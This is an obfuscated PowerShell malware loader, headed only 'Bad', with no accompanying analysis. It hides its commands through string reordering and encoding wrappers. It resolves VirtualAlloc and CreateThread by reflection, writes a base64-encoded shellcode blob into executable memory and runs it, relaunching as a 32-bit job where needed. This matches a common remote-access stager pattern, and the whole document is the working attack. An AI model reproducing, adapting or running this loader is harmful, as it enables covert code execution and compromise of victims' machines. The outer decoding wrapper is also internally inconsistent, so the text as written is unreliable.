Bad

( nEw-ObjECT IO.coMPREssiON.deflAtEstREam([SystEm.Io.meMORYSTReAM][cOnVERT]::fRombaSe64sTRiNG( ' &("{2}{1}{0}"-f'eM','eT-it','S') ("{0}{3}{2}{4}{1}"-f'vAR','o','Mh','iaBLe:Kv','6')  (  [typE]("{0}{1}{2}" -f 'iN','TP','tR')) ;&("{0}{1}{3}{2}" -f'S','e','e','t-StrictMod') -Version 2

${Do`It} = @'
$v1 = 'GetModuleHandle'
$v2='GetProcAddress'
$v3='ReflectedDelegate'
function func_get_proc_address {
	Param ($var_module, $var_procedure)
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

	return $var_unsafe_native_methods.GetMethod($v2).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod($v1)).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)

	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($v3)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

	return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String("6AAAAABbvjgAAAAB3on3g8cYukQDAAC5BgAAAIsHMwaJB4PHBIPGBIPqBHQH4u2D7hjr47hQAAAAAdj/4OCud6f5fHEd5P8xcH7SKLZyzE9dURHpexxG/qf5fBGUAc7jFPWAGD0gwMQPRZqbU+8ZPYHIg0DdSMNQDHz+CHe9wU6as+G7LGv8Zyy7QHDNb79J9b6mYreinMQVSZqxW+F9lJuw90WW5SkAj08ShHe9wU6aafGcj+PTj5yEWAT/vHRpVH8BTj1+h8QFTRA68OQldndwOFU5v6RQKSSD11YqkxXWQ/pvJojAEtP5FAZ0ipZlGDKlDrGNGaddURHpSh/5IPCuKxknsoaWj6s7jLZyzBRsmEC4EeP/Js9CfXEdt69ZJ/dN7kmnnKbRURHpINF8Jc/5TtGZtq1jIyyCQF0n4nSihJgv+CP+HyfKfHGUBJU1IBTNft4HitHbrsS2Sh/5IM0GLyd1yfkpC4EHrXZ9SIVcURHYhGVYA6NwhZoUjFX0kiMt/T+zpAp8DyAWrtFRIM3+LSdNjEhmkHUt/Qly409daNacfLj+ntwGg44sGxagcX7SwX9zzE+1Pu4WhM/hRNaQfIhiDUduby2jOwqqoHYNe7CUdMUvfbhEmU95r0vy8SC1eHHQbQMX8boSKoinhIVhUAsNe//dO3tC4k3ehQaeQBdFOktwk5ZKVD0dsYxUAlOTT9McuHV9HH6TEozCFojMUkE9zJxeHQ6zXN8QoCpmcVy6MqWOTonJR1FKjZFVHwmhCPgm7HlzYSrJL5LHE8KXCF4oys8YfXTS3PbXHXpvOB9zaJLGNiKiZ0VWPIGnst2yNHLvKBVjqVeo3D9mNtMB0fY/lGROcMCUUXVVnak5AZXfmedhIOyxr6uphPcgWdOwmAnPK7GdRJr4jIFLLTQ8x53qFd5AYhHpIPr1D9NjscJdRCsm06/tSnYgRA2SphPisnGRVUcnSbmUMwC9F5jIZ4pNRRzTjvNv899b3K9shbdN5q7l9VlspSoqPArbMTOgQKr/0KPDfWS6UNN/7wpFFAJZi0NucPVGnVUowWbFVvQEw+hKBVAyuuBPR8mVpIeAUrD4T7bSlCzue4hewgWvg6R3pJcxYH7SQLZyjE8KOUlNKAVRojRAfHEd5P7oIS1bz+EazG9dUUK/E/I4/kUGqfTdkDm6d38RrXYHKReeuZgUhB+XQonISEMz18YfQUfnKLZyzE8c")

$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null
'@

If (  (  .("{1}{0}"-f'Ci','g')  ("{1}{0}{2}{4}{3}" -f 'Ari','v','aBlE:KV','6o','mH'))."vA`lUe"::"Si`Ze" -eq 8) {
	.("{2}{0}{1}{3}" -f'r','t-jo','sta','b') { param(${a}) &("{0}{1}" -f 'IE','X') ${a} } -RunAs32 -Argument ${d`oIT} | .("{0}{2}{1}"-f 'wa','-job','it') | .("{1}{3}{2}{0}" -f'ob','Receiv','J','e-')
}
else {
	.("{1}{0}"-f 'X','IE') ${Do`iT}
}
'),[io.COmPRESSioN.COmPrEssIoNmODE]::decoMPrEss)|FOREACH-oBJECt{ nEw-ObjECT io.stReAmReadeR( $_ , [tExT.EnCoDINg]::ASCIi) }).ReADtoeNd()| &( $EnV:comSpeC[4,24,25]-JOiN'')